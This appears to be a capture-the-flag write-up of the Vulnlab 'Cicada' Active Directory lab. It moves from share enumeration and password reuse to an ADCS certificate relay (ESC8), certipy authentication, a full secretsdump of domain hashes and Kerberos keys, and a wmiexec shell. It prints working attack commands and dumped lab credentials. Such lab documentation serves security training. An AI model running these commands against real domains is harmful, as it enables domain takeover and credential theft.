Cicada

Enumeration

Port 80

• Just a IIS server default webpage on visiting the website.
• No any directories found using feroxbuster.

Port 2049

• Check of share that can be mounted and found /profiles.

• Number of User directories found from which we made a users list
• Found an Image Containing password Cicada123

Port 445

• We tried to use the password we found for all the users.

• We get Status_not_supported which means ntlm authentication is not supported.
• We could use kerberos authentication instead.
• We changes the krb5 and hosts file

nxc smb DC-JPQ225 -u Rosie.Powell -p 'Cicada123' -d cicada.vl -k --shares

smbclient.py 'cicada.vl/rosie.powell@DC-JPQ225' -k

Port 389

• Machine Account Quota is 10

Exploit ESC 8

Run the VPN in Windows VM

Add the Computer to the Domain cicada using rosie.powell credential

• In Control Panel > Network Adapter change the DNS of the VPN adapter to have ip of the domain controller.
• Then use the tool

./RemoteKrbRelay.exe -adcs -template DomainController -victim dc-jpq225.cicada.vl -target dc-jpq225.cicada.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3

Troubleshooting

Problem one

If there is error of RPC service not running

• Go to Services and check if Remote Access Connection Manager is running or not. If not and greyed out start the DNSClient servies using

net start dnscache

ipconfig /flushdns

Change the registry

HKLM/System/CurrentControlSet/Services/Dnscache/start/ = 2

Then restart. Check now if the RACMAN is running or not, if running then run the tool.

Problem 2

Assembly binding logging is turned OFF.

• Set the registry value HKLM\Software\Microsoft\Fusion!EnableLog =1
• But after I had proble with file not found bouncy Castle. THe problem was that i had to run the program from the folder where i build the binary.

After that just do this with the certificate file.

echo -ne "MIACAQMwgAYJKoZIhvcNAQcBoIAkgASCA+gwgDCABgkqhkiG9w0BBwGggCSABIID6DCCCccwggnDBgsqhkiG9w0BDAoBAqCCCXowggl2MCgGCiqGSIb3DQEMAQMwGgQURYaVglrKXdnjlPzjBYPseLzdVwgCAgQABIIJSMIm1KzB6y6bba5li/tSqV8rOCY9v9PZQxqyuUGgRRfsVsScvxHL5fZNGG4qXvKBxTibs0oKputljeid4do5AnINvVH4lg6Bxvo3+6r5i9C3kNB/+QZvTkJemvxFREnI2vWf345J52RxDpIPAUGO0v5EIPM8uDJOy7Rc1JzSr6JAZDevaXhgThumbX/UX3Ahl6tyX/n+IRWD6+DxSF8xOmUkBk6qNx+P84OostozPdk5N0bac9lgLgkldbPWFNk/vQbKSMV8qybaltgFIchcfqOWONuKEvfBqfC7qDs86QPstneEvaGzdb3xNBMyzvCBRUSYQ8T7ja+LW101gqxFuJXtZNGv4kLw+ncSqJepHhi2bq7CY5xgCf3MqDIQM1yBje1dG2A1DZkUp8sCW9ZjnIJTw6Y8yFHR+2f6znX5OncgsSHtY4+s9hN+Nnq+mvxak5yyVkkLeud+BeyA91kZuN69gz6Sc22P7ziriirIeoS/xGDqojITbeshKqnW5LI8FdJElNAMO3IMCWNRNh9xdXwRdf314q9qedkqfs7bn45uuo7rSot4wys8TilbawcJSkJJLfd9CE6E1c3nCq4gjHjUY9fGBTC7LI9qIRpr7aptL4W1f2rRDRpCUZHozxOWYwQaNd6kHoTpuRy05n8u9ccAfMcKagN7x2F/mDyp5FqgagjMcXxX+re1iBpo1dRp4fhjE1H69be0or0qJtdjc7mYHgxoDND0i4K6VUqhWp7dC9ZrtN4i0eq/wJeLt0o98wJZJ5S876lkCi7DAd3rjdvoIJVco/A+ajNMlECkGGifkd9NPeYJI0pnWF1rrfSH/eCxw4k/XWEBxrH9uf4sPx8cRhZ0uiR+jyR9jiD0v9OTbs7IOK+GBC4A3praCMgRT0W3kVwB8ykMFTMOyiWdOVaV6mpQIg9ihXFOIZfcM9dR43xTYbqKtQgT97N3VdGpmLewrP2o9XoPXfYJQXjAAnVSnhxBhiCCX9CzDUEbTJ9mhpWbdmXi8alslnOCQXeymoBTMHEbfV5Tge6n6YN0p1dMCc4E4/Yj3ziWYcQ+YDwpc6kDh5JfetWn89qRSZ+vC2+qcCzg3tk6wZ0SadrDAyZvkaYw2xsCbWusj056W/jt9U25ZVdE2sg/GElr9fHxNIYOi4QxCEvpGwgUfSPcjNfb2dQ3O6rl0EFe0+OnEGpmbtOPZ2WLBIID6ECZ/wTLP8sh6sdFl5767urJJPQYEdN4BIID6JzqsfMCgLePto/LHb//Q9WV/lYSaWLATl2DYSj0nc9DoOns2XIjzhBaf4/6SRwvOK3mYVzg60P1pym+OMyZjP9dQzxK/QZz2kkHKX7RBYXYRf9dOr5jAIZtlJA+gNVn8HC4hTmbAYs3iyFqdJ+DAZJxSVnXOcOSpjOMIrxwEhMkyyRmBIahiUPsdaUfX1L/iJHa7rJ4rF9kg5ZAnnnd+Xe/RXG/TMLRYEK2E2aIr8sgaMXDAOowZFGytdEqewX2OlOtlzMmxm5vtQmIzMdTbOaEsszN3LQByUGh59POc30nvfHaQ+CatrNvGeKnYhsDFAZWEBORd9jaSsvJSSv99dFbcPEArvWWSGZGrlRiaBYGo1cLeJv5SCkDcPUT+2OtN12l69CQIgM+ggPKyYkB8BuYzj9gB7h79+Stvll60uLaxI4vISUtJUC4ZyUVXdHvtMt9tBoLYJGW8wf+QKdPM58mJo8RwJ7B4EncYO2IQmRLazvg2XO6U2AFaEJO1XVWgWAd8muk+Px8Tn5k+U1yx08+Xa+hP9beJX8XCIH0KzMlGP2kul9VafOEaUcWQmbfk0FS2A3zNmgFynxH7E+bStzVlO7EK6VP6Qu3IEMHryp5LcudWn1FZ2gFez0rtJTXXEYyqwkLAjoqQnpAlj4uCPT8jy9qbF/WvVS2PJIjo4Gc/vhgogyym0SW+ggp2yclj2x4K00y01AfzmFVM+jx/wBGcPDXfHfZBuA9zdyiewI5/dVp85PKlh0uXJWMboKSWQF6tdhCqjPEsKbYRFkg7mJxZAuTEUHjvbPmijfFYjgLhWfQ6vkj4NPWXd1RZVPBLlt6BYDpNrYCYjEsGfOp5p4Z43Fx83dPDq0JKARP8C5VbOQEUYIDRF7XTPPvsJ6j6R/HVRtKF98l4CxeKyMjptttlXsn+JpjdnnTJoLA4gbD/m9YTd4Ismba0NZvxOQ+J2e+0TUCuJbP7ehwQUEFYWOrk8nEMvqKahs1EnCDP/dONRdFBcnWYQweyqeHyr9f1J07xS3mg+PNKLC86QlEeqbk7bfrIeybpWv8s/VsBitiLTegfdzxrFhr11cDIuIuRwUapmXIBsew8pwF0ElT5pvX8ADqrswCtajnfW9P/s2FSDHtgWEhGjw7FgTthxNWC+Q3BKZ/EUncba20hOgMkheoa/+8O8beKlfGoeGAu78rVQsK0GUSOeVbk+3P10IwA02fxCN25uBrYAD7do9uFth8xHqkznsTjPcnl6bhp6PbOSAmlO2AFy1sQJjj/xaiCsLtbbIiQo0F0BLZc14EggPoU3lTFZuknB2EK62zFxwu6DE/C9Nvu2R/JYM9BIIB+y1a8yl5/bkfwLGw4Jf0vZU2To4SnVq5XtESuV0hmP1RbKhdtdKOHE9e9T1MR5AaAamKZL6ADpe+fDpwWIO9XikGu6uTIkGBVT1+2Crq8BOPv2IJCBlBpnA5jjtYDRWsnrUulNA4u9zOi8QS6YD1VMvzxLeqgSkQCj0EOd6KECNvTw0tppvniwpC/6645mXjXjTLR73NmN+eDQ5Ev7UUCnnpha1fn6KSXUwJAusa3d1gf/SgpdKiEVpHFbbaIdWrCUZaE1AM/bCTC46ZtAbT2f6giBAE/3r4q7Wi4sFLY9OPcuXHP/vlnCCbhlJyiSc13lOjlFjoP3zf1P8DB5aaW02QWbvISkAzSDK3VoovnunQ99wP3/n9/tpNO9zN/ioaZk9NWsJyjm+ZbkG3EykSFt66SgF6MZaG8X+yfp62l7wiu4ppBli2rdEGrseU3xl83jJMKw4wMMmwrHqUTP/9AzJS6g4313nhmInT9Kg0AKKJXR3EIk9VGqcpXhj9Mq748mpExjzuEvQsvZta45gaRoOgO8vuq2IAz7gkOIHkLZUR3jDQq0ykzU/RZN10qutDjbYHK8fWivANDUtk/15SU88gex8xNjAPBgkqhkiG9w0BCRQxAh4AMCMGCSqGSIb3DQEJFTEWBBS+4GOqBeoBqRNttGvwceTjJNf6fQAAAAAAADCABgkqhkiG9w0BBwaggDCAAgEAMIAGCSqGSIb3DQEHATAoBgoqhkiG9w0BDAEGMBoEFD9QnRs+WtHu8xKDhDtdQFsrliHMAgIEAKCABIID6EA5G6ruJ9WMjwJxK2nCwE58HZymdkGny4DZpgzQSgZI2JIq16gjtu7ZHlLD3BVOTwlpbe84pNkO+WGAbXpApGCq65r2rpjYgOYeNFpWk89gZS13SjLoUtjZD9wLt5Vxu9TkbnI63PFbB9zog6EFyxRPm/mgNgeKW4YUYB4BTFKt4Z8h15ayOCUO+Opbj6K4JKZhhyhod3VeJ53hQRStQq0/O+7zBUk8kD42U2UQPc7F5fPR/T+eyoTzyw2pErt96PK3z2yMmnO40T/bvDb8XtGIvaiU4Vi+SEetwtjHWLonnfVGQMBvqjKWRgQFvOfcckXzPaVgDUVHlJUy0PTab7kJIPycRcsn3aU7FIXeIhyc46tNJaAvLwpXud+JEmG4/ECELlFwZgjq0b0t6bj5E+hjYX9SFImTbuwO8xPzLtfc6icDaBhPHlUdoF14od9oyXGdFqRv4Suzoz0POpKWTl/zR+S9vsVBN/kuRyWltlm/b1ogRDlLLQSCA+hlxyO2R/mRtwIHP4vlOz4fIcKGGLEQFEkZmplbG8ReKtvF8DzzSKV5z5L2sJRmVYJTsXL6yAxZp/0V9OyUYAoAyU66NO0nygrWB7+IiRsGeLorFop149/DHqKORShOGI+3V5yvKKHiuFzCVVbqmBnlIDki7fPVPXecncGG7PJOz0xnr9tctvxIj4DG3WX3Rf5tA0nTyqPulEKhrY0JseAeXEuYiaCnyL+Ttlj7PdWl2MGWhCyGYrNbNIL9BHE87KUK/TB0Ag6R7cVCuUsG/rjvZHPEJRZXeh+yXe2CX+Kw0OOVYfpvlJv4AWTc7r58l+VjbHAkMAZZT82gEgsT0j9PdSkF57PK4yFl6/r6Xi6fFlHd7ujmK+rVjqvOnIE/zP16SO+Og80kEYsIqPeNkSKk1nkdkuKy1rtz0r+agS8oX+tz5/wSRt2QiKayjFdICkwvWNp6bnOzeoVvJ56i1nu27hlMBTQKf0/jIUhR2wlRUaAU9eyuXPUfzxD0WYzXrBUAcNorTI2zBjA5oUXWNOyav9DYtBmr5NymVtRD2ihSGpF6/Cah7S9RnU2U0+5n66cS3IDtLCvPDIZYkrqLau2f75cYtM0bzPxu+0D5wBEQyWGBEKPaaDjpj13cA6wydw9ZIq9RE/JqACaTxjQEo61cUGc0VqyHkRkD1c7sOEgZRJm27ZTnu6Gl0GY2fzE+tFZb0dgez+RCXeYyyu5iAedou5bdXhFfTzJI5Tu55GDIjo9t5QFfrZUttRTA2rTWk9p2XglH2Q6usE9zCjS4vLHG7brvCTvt5d8oXgS4iadVre0JnqG69UyYKMJu08eQIdPkBIIDmKFV2wzr4WUQMMCWgWrZYw1Jpxc07eJQSDJ8u+eMbxing792EKVChruYBxvgW2j4gGRsaRZK7lPIps7DHjW93gFg9NgXBSMsaT62DF+Kg/6sBVEou86ebC43k1CHlhEqab0F7FE4fIPlE+dMbWqt/TNQTZGa6RJtaKhZMs5smn/Z6nbmae7qn6JGItKQFT8N6nSWGVrAzw4aKAtF94irGYmoljodnxhfrxAREBTPthAzR0W4mOkRKEolLkGnUuEccoAO4X58FNmcLFgkQY8TNoaAY4Ey633zTms0oTWdQmOyIouKpIHsJWphEclpoItnq4llU9iibAI65VYIxt9q6Nsl/FHC4fwl3o8mYkae3XxmFu2jWkH0PX1xqajUhZ32Llc45IIRj28HVkYP5+w+2EB3mBhQ05x5r3KXQs9Erl+VmevWlS/AIdzqunKWMMk4YutbaTWE5cADyPB9+PxsMGysPD7S/u35ygdoey9duHRL8Z9HBIICMR+LzNbLX6V1VhpeYqbG3yWiSxrit4OwvI2q/fm5MbGKPmSriP9f2/3XvZCch2FGABgebXY8s+LX4pLQwXS0x/M4x5fVGyYICfrJkHM7PoE1uMv47+/sIU/OwqnMpYAtbVC76feHWJj/b8d/6uxZsvbAtTaeBCHS4FMpeBbc+tSjaC2HKpHrlet/JtuGHeAI25d376dyx6K50W5X5tBShfHvaFqYZZZqLI7sdOZx5Ak68ZSYIm6ZBIRBqLN+N1rj5veLU4JMpspNwiRw3K1XpjCFVe6XJJAw3MVPOwjNRHXJ4z6sHufTpAaMz6L/cDoXMAb0GvX1DbhgmnzYm0DO1EQsp2g0HUC3fMt6QgADw2kPUlekmn9Cvq8Ko779GFHuOVZ5FWbkl7wYByWLm4L7GEjWhpOcvlUBAOF1Ehvqz7ONtH20yiz2x/AWDBl7+IwdL9/CyBJARvoNa4W5eLfFvGhowkUj37a5aaMz2LR6NyVT1Khf5lSUaVi+t6HqGczspTZGGxMyw4Bp0NUDOGekEOQNv155+r71mvDaSbtzHMDp+xqrEuPkVqAJZl/DLvR446flxai0XY3AxMTO/kbm3cBPsIjm7l8yKveM8F0deZreZj6wl2/3cgWY36yLuPTmVSBq/ifO3Hm+FAPS/9yMZZO/AdwI+oWuF46rpyhF8Y6zDNS91i0AUCdOfGfY0FzNrq9eX5lNGTIIez6AMIYxF85+c0TRrAAAAAAAAAAAAAAAAAAAAAAAADA9MCEwCQYFKw4DAhoFAAQULJWaxF0z8mxJxvJ7KTfCNA+XcCkEFDQybDK50y10llkWfptdhlIswAflAgIEAAAA" | base64 -d > cert.p12

and then

certipy auth -pfx cert.p12 -dc-ip 10.10.76.195 -domain cicada.vl

we obtained the hash and the ccache file.

Got hash for 'dc-jpq225$@cicada.vl': aad3b435b51404eeaad3b435b51404ee:e251c3dfa91508065378b554eefea94b

export KRB5CCNAME=dc-jpq225.ccache

(certipy-venv) user@parrot:~/vulnlab/cicada % secretsdump.py -k -no-pass cicada.vl/dc-jpq225\$@cicada.vl@dc-jpq225.cicada.vl -just-dc
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8dd165a43fcb66d6a0e2924bb67e040c:::
cicada.vl\Shirley.West:1104:aad3b435b51404eeaad3b435b51404ee:ff99630bed1e3bfd90e6a193d603113f:::
cicada.vl\Jordan.Francis:1105:aad3b435b51404eeaad3b435b51404ee:f5caf661b715c4e1435dfae92c2a65e3:::
cicada.vl\Jane.Carter:1106:aad3b435b51404eeaad3b435b51404ee:7e133f348892d577014787cbc0206aba:::
cicada.vl\Joyce.Andrews:1107:aad3b435b51404eeaad3b435b51404ee:584c796cd820a48be7d8498bc56b4237:::
cicada.vl\Daniel.Marshall:1108:aad3b435b51404eeaad3b435b51404ee:8cdf5eeb0d101559fa4bf00923cdef81:::
cicada.vl\Rosie.Powell:1109:aad3b435b51404eeaad3b435b51404ee:ff99630bed1e3bfd90e6a193d603113f:::
cicada.vl\Megan.Simpson:1110:aad3b435b51404eeaad3b435b51404ee:6e63f30a8852d044debf94d73877076a:::
cicada.vl\Katie.Ward:1111:aad3b435b51404eeaad3b435b51404ee:42f8890ec1d9b9c76a187eada81adf1e:::
cicada.vl\Richard.Gibbons:1112:aad3b435b51404eeaad3b435b51404ee:d278a9baf249d01b9437f0374bf2e32e:::
cicada.vl\Debra.Wright:1113:aad3b435b51404eeaad3b435b51404ee:d9a2147edbface1666532c9b3acafaf3:::
DC-JPQ225$:1000:aad3b435b51404eeaad3b435b51404ee:e251c3dfa91508065378b554eefea94b:::
COMMANDO$:3101:aad3b435b51404eeaad3b435b51404ee:27ddcbe3cd9404f7aa921a2b27c86a1c:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:f9181ec2240a0d172816f3b5a185b6e3e0ba773eae2c93a581d9415347153e1a
Administrator:aes128-cts-hmac-sha1-96:926e5da4d5cd0be6e1cea21769bb35a4
Administrator:des-cbc-md5:fd2a29621f3e7604
krbtgt:aes256-cts-hmac-sha1-96:ed5b82d607535668e59aa8deb651be5abb9f1da0d31fa81fd24f9890ac84693d
krbtgt:aes128-cts-hmac-sha1-96:9b7825f024f21e22e198e4aed70ff8ea
krbtgt:des-cbc-md5:2a768a9e2c983e31
cicada.vl\Shirley.West:aes256-cts-hmac-sha1-96:3f3657fb6f0d441680e9c5e0c104ef4005fa5e79b01bbeed47031b04a913f353
cicada.vl\Shirley.West:aes128-cts-hmac-sha1-96:cd16a8664de29a4e8bd9e8b492f3eef9
cicada.vl\Shirley.West:des-cbc-md5:abbf341664bafe76
cicada.vl\Jordan.Francis:aes256-cts-hmac-sha1-96:ec8aaa2c9432ed3b0d2834e4e24dc243ec8d77ec3488101e79d1b2cc1c2ee6ea
cicada.vl\Jordan.Francis:aes128-cts-hmac-sha1-96:0b551142246edc108a92913e46852404
cicada.vl\Jordan.Francis:des-cbc-md5:a2e53d6ea44ab6e9
cicada.vl\Jane.Carter:aes256-cts-hmac-sha1-96:bb04095d1884439b825a5606dd43aadfd2a8fad1386b3728b9bad582efd5d4aa
cicada.vl\Jane.Carter:aes128-cts-hmac-sha1-96:8a27618e7036a49fb6e371f2e7af649e
cicada.vl\Jane.Carter:des-cbc-md5:340eda8962cbadce
cicada.vl\Joyce.Andrews:aes256-cts-hmac-sha1-96:7ca8317638d429301dfbb88af701fadffbc106d31f79a4de7e8d35afbc2d30c4
cicada.vl\Joyce.Andrews:aes128-cts-hmac-sha1-96:6ec2495dea28c09cf636dd8b080012fd
cicada.vl\Joyce.Andrews:des-cbc-md5:6bf2b6f21fcda258
cicada.vl\Daniel.Marshall:aes256-cts-hmac-sha1-96:fcccb590bac0a888898461247fbb3ee28d282671d8491e0b0b83ac688c2a29d6
cicada.vl\Daniel.Marshall:aes128-cts-hmac-sha1-96:80a3b053500586eefd07d32fc03e3849
cicada.vl\Daniel.Marshall:des-cbc-md5:e0fbdcb3c7e9f154
cicada.vl\Rosie.Powell:aes256-cts-hmac-sha1-96:54de41137f8d37d4a6beac1638134dfefa73979041cae3ffc150ebcae470fce5
cicada.vl\Rosie.Powell:aes128-cts-hmac-sha1-96:d01b3b63a2cde0d1c5e9e0e4a55529a4
cicada.vl\Rosie.Powell:des-cbc-md5:6e70b9a41a677a94
cicada.vl\Megan.Simpson:aes256-cts-hmac-sha1-96:cdb94aaf5b15465371cbe42913d652fa7e2a2e43afc8dd8a17fee1d3f142da3b
cicada.vl\Megan.Simpson:aes128-cts-hmac-sha1-96:8fd3f86397ee83ed140a52bdfa321df0
cicada.vl\Megan.Simpson:des-cbc-md5:587032806b5d19b6
cicada.vl\Katie.Ward:aes256-cts-hmac-sha1-96:829effafe88a0a5e17c4ccf1840f277327309b2902aeccc36625ac51b8e936bc
cicada.vl\Katie.Ward:aes128-cts-hmac-sha1-96:585264bc071354147db5b677be13506b
cicada.vl\Katie.Ward:des-cbc-md5:01801aa2e5755898
cicada.vl\Richard.Gibbons:aes256-cts-hmac-sha1-96:3c3beb85ec35003399e37ae578b90ae7a65b4ec7305e0ac012dbeaaa41bcbe22
cicada.vl\Richard.Gibbons:aes128-cts-hmac-sha1-96:646557f4143182bda5618f95429f3a49
cicada.vl\Richard.Gibbons:des-cbc-md5:834a675bd058efd0
cicada.vl\Debra.Wright:aes256-cts-hmac-sha1-96:26409e8cc8f3240501db7319bd8d8a2077d6b955a8f673b9ccf7d9086d3aec62
cicada.vl\Debra.Wright:aes128-cts-hmac-sha1-96:6a289ddd9a1a2196b671b4bbff975629
cicada.vl\Debra.Wright:des-cbc-md5:f25eb6a4265413cb
DC-JPQ225$:aes256-cts-hmac-sha1-96:fd55f2cbc593607ee19eb9fd1c8b799b806d96ebd4c338bb9e36ff377befe9f7
DC-JPQ225$:aes128-cts-hmac-sha1-96:06f2627d8ca59b5648cf4f3c3b9b041b
DC-JPQ225$:des-cbc-md5:077f8c6de6d3fe9b
COMMANDO$:aes256-cts-hmac-sha1-96:5af21248e9b19bb6ce55a14ed99b3f98e705121aec686deb3b41a8e684d37302
COMMANDO$:aes128-cts-hmac-sha1-96:664ab5d26905126800928acc80d38121
COMMANDO$:des-cbc-md5:b9c8c4dc54806297
[*] Cleaning up...

wmiexec.py 'cicada.vl/Administrator@DC-JPQ225' -aesKey 926e5da4d5cd0be6e1cea21769bb35a4

VL{52e815961ba203dee49f562af8f1879b}